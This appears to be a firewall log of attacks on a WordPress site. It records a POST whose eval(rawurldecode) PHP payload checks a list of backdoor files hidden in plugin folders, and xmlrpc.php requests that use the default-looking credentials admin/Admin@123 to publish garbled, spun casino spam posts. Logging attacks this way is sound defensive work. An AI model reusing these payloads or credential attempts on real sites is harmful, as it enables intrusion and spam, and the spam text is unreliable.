22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/font-awesome\/classic-editor\/build\/index.data.php%22%3D%3E%22bd%40%40301599048%40%401019%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Scalar\/MagicConst\/Namespace.php%22%3D%3E%22ui%40%40124003%40%40173%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Scalar\/MagicConst\/Class.php%22%3D%3E%22ui%40%40125396%40%40173%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));","POST \/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\ncontent-length:9244\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nQlAazG=eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/font-awesome\/classic-editor\/build\/index.data.php%22%3D%3E%22bd%40%40301599048%40%401019%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Scalar\/MagicConst\/Namespace.php%22%3D%3E%22ui%40%40124003%40%40173%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Scalar\/MagicConst\/Class.php%22%3D%3E%22ui%40%40125396%40%40173%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20\"));"]
["2026-04-28 23:07:19","104.166.164.54","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n <methodName>wp.newPost<\/methodName>\r\n <params>\r\n <param><value>1<\/value><\/param>\r\n <param><value>admin<\/value><\/param>\r\n <param><value>Admin@123<\/value><\/param>\r\n <param>\r\n <value>\r\n <struct>\r\n <member><name>post_type<\/name>\r\n <value>post<\/value><\/member>\r\n\t\t <member><name>post_status<\/name>\r\n <value>publish<\/value><\/member>\r\n\t\t <member><name>post_title<\/name>\r\n <value><![CDATA[Betsson Local casino 2025 We magic red casino login a hundred% bonus, 100 free revolves]]><\/value><\/member>\r\n\t\t <member><name>post_content<\/name>\r\n <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Magic red casino login | How to use Betsson Casino bonuses<\/a><\/li><li><a href=\"#toc-1\">asino against ZunaBet: And that Program Offers Their Money Far more to utilize?<\/a><\/li><li><a href=\"#toc-2\">Best Bitcoin Casinos playing At the<\/a><\/li><li><a href=\"#toc-3\">Totally free Spins No deposit Bonus Casinos Us<\/a><\/li><\/ul><\/div>\n<p>Per part is actually powered by a number of best-ranked company whose prize-winning and you will looked for-after betting articles covers out of harbors, jackpots and you may exclusives to help you desk video game, scratch <a href=\"https:\/\/magicredcasino.uk.net\/\">magic red casino login<\/a> cards and a lot more. <!--more--> Vanessa Phillimore is actually a highly experienced creator, which have a passion for publishing engaging articles one connects players which have the fresh excitement away from on line betting. Whether you're to play the newest ports if you are on an outing, or if you play a real time agent tournament from the chair, you can do it the to the Betsson cellular gambling enterprise.<\/p>\r\n<h2 id=\"toc-0\">Magic red casino login | How to use Betsson Casino bonuses<\/h2>\n<p>I capture our very own go out examining all the pages and tabs of an online local casino, assessment they for the fullest inside span of 5-10 instances. Nevertheless the recommendations aren’t meant simply to help you - they provide worthwhile opinions to possess casinos, to see which factors they are able to improve. You have access to more 1400 online game, in addition to more than 2 hundred live agent headings.<\/p>\r\n<h2 id=\"toc-1\">asino against ZunaBet: And that Program Offers Their Money Far more to utilize?<\/h2>\n<p>The brand new user also offers additional security measures in place you to definitely ensure people shelter. There’s in addition to a useful part with Frequently asked questions which should answer typically the most popular issues one players have. Whether or not extremely casinos works very well today it is important to be able to get assist when you need it.<\/p>\r\n\r\n<h2 id=\"toc-2\">Best Bitcoin Casinos playing At the<\/h2>\n<p>Deposit steps are different from a single gambling enterprise to some other, which have loads of company being offered. As one of the top sales on the internet, there are a lot of offers to select from. A steep wagering requirements can also be restrict your hopes for free currency, while some casinos have done away inside it completely.<\/p>\n<img src=\"https:\/\/media.betway.net\/images\/casino\/american_roulette_thumb.jpg\" alt=\"magic red casino login\" style=\"padding: 10px;\" align=\"right\" border=\"0\">\n<p>First off, he's got a great a hundred% fits bonus that is matched in order to $a hundred! During the Betsson Local casino, real money gambling is obviously fun! For many who’re also looking for some thing a little more fascinating, in addition they features sports betting! For those who’re also looking a good the-rounder gambling establishment on the market you could access in the security of your home, then look no further than Betsson casino.<\/p>\n<p>Which have a large user base more than 18 million, there’s usually step from the tables. Betsson Web based poker is a wonderful spot to play, whether you're an experienced specialist or just getting started. Possibly the simply downside is a little slowly processing date for the credit card withdrawals and lender transfers, however, using eWallets are a significantly comfortable provider anyway. Going to, playing, tapping and you may punctual loading surrounds all of the categories and has increased scalability and you will automated versatility to a lot of screen brands.<\/p>\r\n<h2 id=\"toc-3\">Totally free Spins No deposit Bonus Casinos Us<\/h2>\n<p>For many who experience online losings while playing the game of your Week, Betsson offers a back-up by providing a 10% Incentive Straight back, calculated from your full bets without the overall winnings. The advantage happens within the increments otherwise “chunks” as you gamble casino poker, taking an active gaming experience. I encourage it local casino to help you bettors looking to a pleasant on the web gaming sense. Which isn’t stunning since the Betsson is just one of the top casinos in the European countries, and know how to do a gaming experience one to’s both exciting and you will associate-friendly. This site now offers different video game developers, along with Web Amusement, Microgaming, and you will Playtech.<\/p>]]><\/value><\/member>\t \r\n\t\t <member><name>post_date_gmt<\/name>\r\n <value><dateTime.iso8601>20260428T15:07:17<\/dateTime.iso8601><\/value><\/member>\r\n\t\t <member><name>post_name<\/name>\r\n <value><![CDATA[betsson-local-casino-2025-we-magic-red-casino-login-a-hundred%-bonus,-100-free-revolves]]><\/value><\/member>\r\n \r\n <\/struct>\r\n <\/value>\r\n <\/param>\r\n <\/params>\r\n<\/methodCall>","POST \/xmlrpc.php HTTP\/1.1\nhost:47.254.126.238\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36\ncontent-type:text\/xml; charset=utf-8\ncontent-length:5796\nconnection:Close\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<methodCall>\r\n <methodName>wp.newPost<\/methodName>\r\n <params>\r\n <param><value>1<\/value><\/param>\r\n <param><value>admin<\/value><\/param>\r\n <param><value>Admin@123<\/value><\/param>\r\n <param>\r\n <value>\r\n <struct>\r\n <member><name>post_type<\/name>\r\n <value>post<\/value><\/member>\r\n\t\t <member><name>post_status<\/name>\r\n <value>publish<\/value><\/member>\r\n\t\t <member><name>post_title<\/name>\r\n <value><![CDATA[Betsson Local casino 2025 We magic red casino login a hundred% bonus, 100 free revolves]]><\/value><\/member>\r\n\t\t <member><name>post_content<\/name>\r\n <value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Magic red casino login | How to use Betsson Casino bonuses<\/a><\/li><li><a href=\"#toc-1\">asino against ZunaBet: And that Program Offers Their Money Far more to utilize?<\/a><\/li><li><a href=\"#toc-2\">Best Bitcoin Casinos playing At the<\/a><\/li><li><a href=\"#toc-3\">Totally free Spins No deposit Bonus Casinos Us<\/a><\/li><\/ul><\/div>\n<p>Per part is actually powered by a number of best-ranked company whose prize-winning and you will looked for-after betting articles covers out of harbors, jackpots and you may exclusives to help you desk video game, scratch <a href=\"https:\/\/magicredcasino.uk.net\/\">magic red casino login<\/a> cards and a lot more. <!--more--> Vanessa Phillimore is actually a highly experienced creator, which have a passion for publishing engaging articles one connects players which have the fresh excitement away from on line betting. Whether you're to play the newest ports if you are on an outing, or if you play a real time agent tournament from the chair, you can do it the to the Betsson cellular gambling enterprise.<\/p>\r\n<h2 id=\"toc-0\">Magic red casino login | How to use Betsson Casino bonuses<\/h2>\n<p>I capture our very own go out examining all the pages and tabs of an online local casino, assessment they for the fullest inside span of 5-10 instances. Nevertheless the recommendations aren’t meant simply to help you - they provide worthwhile opinions to possess casinos, to see which factors they are able to improve. You have access to more 1400 online game, in addition to more than 2 hundred live agent headings.<\/p>\r\n<h2 id=\"toc-1\">asino against ZunaBet: And that Program Offers Their Money Far more to utilize?<\/h2>\n<p>The brand new user also offers additional security measures in place you to definitely ensure people shelter. There’s in addition to a useful part with Frequently asked questions which should answer typically the most popular issues one players have. Whether or not extremely casinos works very well today it is important to be able to get assist when you need it.<\/p>\r\n\r\n<h2 id=\"toc-2\">Best Bitcoin Casinos playing At the<\/h2>\n<p>Deposit steps are different from a single gambling enterprise to some other, which have loads of company being offered. As one of the top sales on the internet, there are a lot of offers to select from. A steep wagering requirements can also be restrict your hopes for free currency, while some casinos have done away inside it completely.<\/p>\n<img src=\"https:\/\/media.betway.net\/images\/casino\/american_roulette_thumb.jpg\" alt=\"magic red casino login\" style=\"padding: 10px;\" align=\"right\" border=\"0\">\n<p>First off, he's got a great a hundred% fits bonus that is matched in order to $a hundred! During the Betsson Local casino, real money gambling is obviously fun! For many who’re also looking for some thing a little more fascinating, in addition they features sports betting! For those who’re also looking a good the-rounder gambling establishment on the market you could access in the security of your home, then look no further than Betsson casino.<\/p>\n<p>Which have a large user base more than 18 million, there’s usually step from the tables. Betsson Web based poker is a wonderful spot to play, whether you're an experienced specialist or just getting started. Possibly the simply downside is a little slowly processing date for the credit card withdrawals and lender transfers, however, using eWallets are a significantly comfortable provider anyway. Going to, playing, tapping and you may punctual loading surrounds all of the categories and has increased scalability and you will automated versatility to a lot of screen brands.<\/p>\r\n<h2 id=\"toc-3\">Totally free Spins No deposit Bonus Casinos Us<\/h2>\n<p>For many who experience online losings while playing the game of your Week, Betsson offers a back-up by providing a 10% Incentive Straight back, calculated from your full bets without the overall winnings. The advantage happens within the increments otherwise “chunks” as you gamble casino poker, taking an active gaming experience. I encourage it local casino to help you bettors looking to a pleasant on the web gaming sense. Which isn’t stunning since the Betsson is just one of the top casinos in the European countries, and know how to do a gaming experience one to’s both exciting and you will associate-friendly. This site now offers different video game developers, along with Web Amusement, Microgaming, and you will Playtech.<\/p>]]><\/value><\/member>\t \r\n\t\t <member><name>post_date_gmt<\/name>\r\n <value><dateTime.iso8601>20260428T15:07:17<\/dateTime.iso8601><\/value><\/member>\r\n\t\t <member><name>post_name<\/name>\r\n <value><![CDATA[betsson-local-casino-2025-we-magic-red-casino-login-a-hundred%-bonus,-100-free-revolves]]><\/value><\/member>\r\n \r\n <\/struct>\r\n <\/value>\r\n <\/param>\r\n <\/params>\r\n<\/methodCall>"]
["2026-04-28 23:07:21","104.166.164.54","POST","\/xmlrpc.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/114.0.0.0 Safari\/537.36","post","select.+(from|limit) >> <?xml version:\"1.0\"?>\r\n<methodCall>\r\n<methodName>metaWeblog.newPost<\/methodName>\r\n<params>\r\n<param><value><array><data>\r\n <value><int>0<\/int><\/value>\r\n <value><string>admin<\/string><\/value>\r\n <value><string>Admin@123<\/string><\/value>\r\n <value><struct>\r\n <member><name>title<\/name><value><![CDATA[Betsson Local casino 2025 We magic red casino login a hundred% bonus, 100 free revolves]]><\/value><\/member>\r\n <member><name>description<\/name><value><![CDATA[<div id=\"toc\" style=\"background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;\"><p class=\"toctitle\" style=\"font-weight: 700;text-align: center;\">Blogs<\/p><ul class=\"toc_list\"><li><a href=\"#toc-0\">Magic red casino login | How to use Betsson Casino bonuses<\/a><\/li><li><a href=\"#toc-1\">asino against ZunaBet: And that Program Offers Their Money Far more to utilize?<\/a><\/li><li><a href=\"#toc-2\">Best Bitcoin Casinos playing At the<\/a><\/li><li><a href=\"#toc-3\">Totally free Spins No deposit Bonus Casinos Us<\/a><\/li><\/ul><\/div>\n<p>Per part is actually powered by a number of best-ranked company whose prize-winning and you will looked for-after betting articles covers out of harbors, jackpots and you may exclusives to help you desk video game, scratch <a href=\"https:\/\/magicredcasino.uk.net\/\">magic red casino login<\/a> cards and a lot more. <!--more--> Vanessa Phillimore is actually a highly experienced creator, which have a passion for publishing engaging articles one connects players which have the fresh excitement away from on line betting. Whether you're to play the newest ports if you are on an outing, or if you play a real time agent tournament from the chair, you can do it the to the Betsson cellular gambling enterprise.<\/p>\r\n<h2 id=\"toc-0\">Magic red casino login | How to use Betsson Casino bonuses<\/h2>\n<p>I capture our very own go out examining all the pages and tabs of an online local casino, assessment they for the fullest inside span of 5-10 instances. Nevertheless the recommendations aren’t meant simply to help you - they provide worthwhile opinions to possess casinos, to see which factors they are able to improve. You have access to more 1400 online game, in addition to more than 2 hundred live agent headings.<\/p>\r\n<h2 id=\"toc-1\">asino against ZunaBet: And that Program Offers Their Money Far more to utilize?<\/h2>\n<p>The brand new user also offers additional security measures in place you to definitely ensure people shelter. There’s in addition to a useful part with Frequently asked questions which should answer typically the most popular issues one players have. Whether or not extremely casinos works very well today it is important to be able to get assist when you need it.<\/p>\r\n\r\n<h2 id=\"toc-2\">Best Bitcoin Casinos playing At the<\/h2>\n<p>Deposit steps are different from a single gambling enterprise to some other, which have loads of company being offered. As one of the top sales on the internet, there are a lot of offers to select from. A steep wagering requirements can also be restrict your hopes for free currency, while some casinos have done away inside it completely.<\/p>\n<img src=\"https:\/\/media.betway.net\/images\/casino\/american_roulette_thumb.jpg\" alt=\"magic red casino login\" style=\"padding: 10px;\" align=\"right\" border=\"0\">\n<p>First off, he's got a great a hundred% fits bonus that is matched in order to $a hundred! During the Betsson Local casino, real money gambling is obviously fun! For many who’re also looking for some thing a little more fascinating, in addition they features sports betting! For those who’re also looking a good the-rounder gambling establishment on the market you could access in the security of your home, then look no further than Betsson casino.<\/p>\n<p>Which have a large user base more than 18 million, there’s usually step from the tables. Betsson Web based poker is a wonderful spot to play, whether you're an experienced specialist or just getting started. Possibly the simply downside is a little slowly processing date for the credit card withdrawals and lender transfers, however, using eWallets are a significantly comfortable provider anyway. Going to, playing, tapping and you may punctual loading surrounds all of the categories and has increased scalability and you will automated versatility to a lot of screen brands.<\/p>\r\n<h2 id=\"toc-3\">Totally free Spins No deposit Bonus Casinos Us<\/h2>\n<p>For many who experience online losings while playing the game of your Week, Betsson offers a back-up by providing a 10% Incentive Straight back, calculated from your full bets without the overall winnings. The advantage happens within the increments otherwise “chunks” as you gamble casino poker, taking an active gaming experience. I encourage it local casino to help you bettors looking to a pleasant on the web gaming sense. Which isn’t stunning since the Betsson is just one of the top casinos in the European countries, and know how to do a gaming experience one to’s both exciting and you will associate-friendly. This site now offers different video game developers, along with Web Amusement, Microgaming, and you will Playtech.<\/p>]]><\/value><\/member>\r\n 